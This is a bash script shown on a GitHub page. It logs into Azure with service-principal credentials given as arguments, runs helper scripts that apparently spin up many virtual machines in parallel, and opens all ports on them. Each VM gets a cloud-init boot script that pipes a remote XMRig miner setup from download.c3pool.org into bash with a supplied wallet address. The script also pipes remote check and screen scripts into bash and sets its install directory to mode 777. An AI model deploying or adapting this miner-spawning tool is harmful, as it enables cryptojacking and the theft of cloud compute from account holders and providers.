-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfuckaz.sh
131 lines (129 loc) · 4.31 KB
/
fuckaz.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/bin/bash
if [ ! -f "/.XX/fuckb1s.py" ]; then
echo '第一次执行初始化...'
REGEX=("debian" "ubuntu" "centos|red hat|kernel|oracle linux|alma|rocky" "'amazon linux'" "alpine" )
RELEASE=("Debian" "Ubuntu" "CentOS" "CentOS" "Alpine")
PACKAGE_UPDATE=("apt -y update" "apt -y update" "yum -y update" "yum -y update" "apk update -f")
PACKAGE_INSTALL=("apt -y install" "apt -y install" "yum -y install" "yum -y install" "apk add -f")
CMD=("$(grep -i pretty_name /etc/os-release 2>/dev/null | cut -d \" -f2)" "$(hostnamectl 2>/dev/null | grep -i system | cut -d : -f2)" "$(lsb_release -sd 2>/dev/null)" "$(grep -i description /etc/lsb-release 2>/dev/null | cut -d \" -f2)" "$(grep . /etc/redhat-release 2>/dev/null)" "$(grep . /etc/issue 2>/dev/null | cut -d \\ -f1 | sed '/^[ ]*$/d')")
[[ $(id -u) != 0 ]] && echo "请使用“sudo -i”登录root用户后执行脚本!!!" && exit 1
for i in "${CMD[@]}"; do
SYS="$i" && [[ -n $SYS ]] && break
done
for ((int = 0; int < ${#REGEX[@]}; int++)); do
[[ $(echo "$SYS" | tr '[:upper:]' '[:lower:]') =~ ${REGEX[int]} ]] && SYSTEM="${RELEASE[int]}" && [[ -n $SYSTEM ]] && break
done
[[ -z $SYSTEM ]] && echo "不支持VPS的当前系统,请使用主流操作系统" && exit 1
${PACKAGE_UPDATE[int]}
${PACKAGE_INSTALL[int]} python3 python3-pip
/usr/bin/python3 -m pip install --upgrade pip
pip install azure-cli
mkdir /.XX
git clone https://github.com/sunianOvO/fuckaz-speed/ /.XX/ 2>/dev/null
chmod -R 777 /.XX
cp -f /.XX/fuckaz.sh /bin/fuckaz
echo '初始化完成!'
echo '输入 fuckaz 命令使用本项目!'
fi
if [[ $1 == 'update' ]]
then
echo '升级覆盖中...'
rm -rf /.XX
fuckaz
elif [[ $1 == 'check' ]]
then
bash <(curl -Ls https://raw.githubusercontent.com/sunianOvO/fuckaz/main/check.sh)
exit 520
elif [[ $1 == 'screen' ]]
then
bash <(curl -Ls https://raw.githubusercontent.com/sunianOvO/fuckaz/main/screen.sh)
exit 520
fi
if [[ $4 ]]
then
if [[ $4 == 'rm' ]]
then
az group delete --name ResourceGroup --no-wait --yes
az group delete --name NetworkWatcherRG --no-wait --yes
exit 1
elif [[ $4 == 'read' ]]
then
echo '请输入自定义开机脚本:'
read shell
echo "#cloud-config
runcmd:
- sudo -s
- ${shell}
- "> /.XX/cloud-init.txt
elif [[ $4 == 'null' ]]
then
echo '将以已存在的 cloud-init.txt 为开机脚本,请确认脚本内容是否需要修改?(5秒后自动执行)'
echo "#####################"
echo "$(cat /.XX/cloud-init.txt)"
echo "#####################"
echo '请确认开机代码无误!!!'
sleep 5
else
echo '你输入的钱包地址为:'
echo "#####################"
echo "$4"
echo "#####################"
echo '请确认钱包地址无误!!!'
echo "#cloud-config
runcmd:
- sudo -s
- export HOME=/root && curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s $4
- "> /.XX/cloud-init.txt
fi
else
echo ':) 重要参数丢失!'
echo '示例命令:'
echo '自定义钱包地址: fuckaz appid passwd tenant 钱包地址'
echo '使用默认开机自启文件: fuckaz appid passwd tenant null'
echo "#####################"
echo 'debian /Ubuntu 系统请执行 dpkg-reconfigure dash 选择 no 然后再使用 fuckaz 命令否则报错'
echo "#####################"
exit 250
fi
az logout
az login --service-principal --username $1 --password $2 --tenant $3
rm -f /.XX/ip.txt
rm -f /.XX/ip1.txt
rm -f /.XX/ip2.txt
rm -f /root/.ssh/known_hosts
for ((i=0;i<3;i++))
do
{
{
python3 /.XX/fuckb1s.py
}&
{
python3 /.XX/fuckb1s2.py
}&
{
python3 /.XX/fuckb1s3.py
}&
}&
done
{
python3 /.XX/fucke2bds.py
}&
rm -f /.XX/fuck.txt
wait
{
az vm open-port --ids $(az vm list -g ResourceGroup --query "[].id" -o tsv) --port '*'
}& 2>/dev/null
az vm list -d > /.XX/fuck.txt
cat /.XX/fuck.txt | sed 's/,/\n/g' | grep "publicIps" | sed 's/:/\n/g' | sed '1d' | sed 's/}//g' | sort -u > /.XX/ip.txt
sed -r 's/["]{1,10}$//' /.XX/ip.txt > /.XX/ip1.txt
cat /.XX/ip1.txt | sed s/[[:space:]]//g | sort -u > /.XX/ip2.txt
rm -f /.XX/ip1.txt
rm -f /.XX/ip.txt
mv /.XX/ip2.txt /.XX/ip.txt
sed -i '$d' /.XX/ip.txt
sed -i 's/.//' /.XX/ip.txt
cat /.XX/ip.txt
echo "#####################"
echo "共计开机 $(cat /.XX/ip.txt|wc -l) 台"
echo "用时 $SECONDS 秒"
echo "#####################"